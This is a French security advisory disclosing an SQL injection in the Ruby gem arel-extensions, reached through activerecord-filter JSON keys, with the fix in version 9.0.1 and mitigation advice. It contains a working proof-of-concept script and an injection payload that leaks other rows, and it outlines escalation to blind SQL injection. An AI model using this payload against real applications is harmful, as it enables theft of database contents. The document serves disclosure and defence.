Publié le
Divulgation coordonnée. La vulnérabilité a été signalée en privé au mainteneur, corrigée, puis publiée le 1er septembre 2026. Les versions <= 9.0.0 sont vulnérables. La version corrigée est la 9.0.1.
Une gem qui construit du SQL à la main
arel-extensions ajoute à Arel et ActiveRecord les opérateurs que Rails ne fournit pas en standard : prédicats sur les tableaux et le JSON, recherche plein texte PostgreSQL, prédicats géométriques. Une gem d'infrastructure, environ 116 000 téléchargements, du genre qu'on retrouve dans le Gemfile sans jamais lire son code.
C'est un visiteur Arel : sa moitié PostgreSQL prend un nœud de l'arbre de requête et écrit le fragment SQL correspondant. Écrire du SQL, littéralement, avec des concaténations de chaînes. C'est exactement là qu'il faut regarder d'où viennent les valeurs concaténées.
Le segment de chemin part tel quel dans la requête
Dans lib/arel/visitors/postgresql_extensions.rb, la méthode visit_Arel_Attributes_Key — celle qui traduit un accès à une clé JSON — écrit le nom du segment sans le passer par la moindre fonction de quoting :
collector << "\#>'{" << o.name.to_s
collector << (last_key ? "}'" : ",")
Le résultat attendu ressemble à "properties"."metadata"#>'{key}'. Le segment atterrit donc entre accolades, à l'intérieur d'une chaîne SQL entre quotes simples. Rien ne l'échappe. Un segment qui contient }' ferme l'accolade et la chaîne, et tout ce qui suit est interprété comme du SQL par PostgreSQL.
La question suivante est la seule qui compte : ce o.name, est-ce que quelqu'un d'extérieur peut le choisir ?
Seul le premier segment est validé
Oui, et par le chemin le plus banal. La gem compagne activerecord-filter est faite pour transformer les paramètres d'une requête HTTP en conditions SQL — Model.filter(params[:filter]), c'est son mode d'emploi. Dans expand_filter_for_column :
if column.type == :json || column.type == :jsonb
names = key.to_s.split('.')
names.shift
attribute = attribute.dig(names)
split('.') découpe la clé, shift retire le premier morceau — le seul qui soit vérifié contre columns_hash, c'est-à-dire contre les vraies colonnes de la table. Tout ce qui suit le premier point n'est comparé à rien et descend intact jusqu'au visiteur.
Autrement dit : dès qu'une clé commence par le nom d'une colonne jsonb réelle, le reste est du texte libre attaquant-contrôlé.
Le PoC tient en quinze lignes
PostgreSQL, une colonne jsonb, activerecord-filter et arel-extensions 9.0.0. Deux lignes en base : une publique, une qui ne devrait jamais sortir.
require 'active_record'
require 'active_record/filter'
ActiveRecord::Base.establish_connection(adapter: 'postgresql', database: 'poc')
c = ActiveRecord::Base.connection
c.execute("CREATE TABLE properties (id serial primary key, secret text, metadata jsonb)")
c.execute("INSERT INTO properties (secret, metadata) VALUES ('PUBLIC', '{\"key\":\"v\"}')")
c.execute("INSERT INTO properties (secret, metadata) VALUES ('TOP_SECRET', '{\"other\":\"z\"}')")
class Property < ActiveRecord::Base; end
# seule la ligne PUBLIC possède metadata.key :
# un filtre qui fonctionne ne doit jamais renvoyer TOP_SECRET
evil = "metadata.key}' IS NOT NULL OR 1=1 --"
rel = Property.filter(evil => { eq: 'v' })
puts rel.to_sql
puts rel.pluck(:secret).inspect
Le SQL généré montre exactement la sortie de littéral, et le commentaire -- qui avale la fin de la condition légitime :
SELECT "properties".* FROM "properties"
WHERE "properties"."metadata"#>'{key}' IS NOT NULL OR 1=1 --}' = 'v'
=> ["PUBLIC", "TOP_SECRET"]
Le OR 1=1 s'exécute. Ici evil tient la place d'une clé de params[:filter] : dans une vraie application, c'est le nom d'un champ de recherche envoyé par le client.
Du contournement de filtre à l'injection aveugle
Récupérer les lignes des autres n'est que le premier étage. La valeur injectée arrive dans une clause WHERE brute : on remplace OR 1=1 par AND (SELECT ...) et on est dans une injection SQL aveugle classique, avec la panoplie complète — exfiltration caractère par caractère, lecture d'autres tables, tout ce que les droits du rôle PostgreSQL de l'application autorisent.
- Contournement de filtre : l'attaquant lit des lignes que le filtre était censé lui interdire, y compris celles d'autres locataires dans une application multi-tenant.
- Injection aveugle : sous-requêtes booléennes dans le
WHERE, donc exfiltration de n'importe quelle donnée lisible par le rôle applicatif. - Prérequis : aucun, au-delà de l'accès que l'endpoint demande déjà. Si la recherche filtrée est publique, l'injection l'est aussi.
Le score CVSS v4 de 8.7 reflète ça : réseau, complexité faible, sans privilège ni interaction, confidentialité fortement impactée.
Ne plus mettre le segment dans un littéral
La 9.0.1 arrête de fabriquer la chaîne '{a,b}'. Les segments sont émis comme un tableau SQL dont chaque élément est quoté normalement :
-- avant
"properties"."metadata"#>'{a,b}'
-- après
"properties"."metadata"#> array['a','b']
Un segment ne peut plus terminer l'expression de chemin : il reste une valeur, pas de la syntaxe. Détail qui compte pour la mise à jour, PostgreSQL replie la constante en '{a,b}'::text[], donc les plans de requête et les index d'expression écrits contre la forme littérale ne changent pas.
La même version durcit cast_as, qui interpolait lui aussi son nom de type sans échappement — non atteignable via activerecord-filter, mais du même tonneau. Il lève désormais une ArgumentError si le nom ne ressemble pas à un identifiant de type. Le correctif est dans la PR #12.
Si vous utilisez arel-extensions
Passez en 9.0.1 : bundle update arel-extensions. Toutes les versions antérieures sont concernées.
Si la mise à jour doit attendre, il faut empêcher l'entrée non fiable d'atteindre key et dig. Concrètement, pour activerecord-filter : une liste blanche des clés de filtre acceptées avant l'appel à Model.filter, ou au minimum le rejet de toute clé qui ne correspond pas à /\A[a-zA-Z0-9_.]+\z/.
Et le réflexe qui vaut au-delà de cette gem : quand une dépendance construit du SQL par concaténation de chaînes, la question n'est pas de savoir si elle a l'air sérieuse. C'est de savoir quels paramètres de vos requêtes HTTP finissent dans ces chaînes.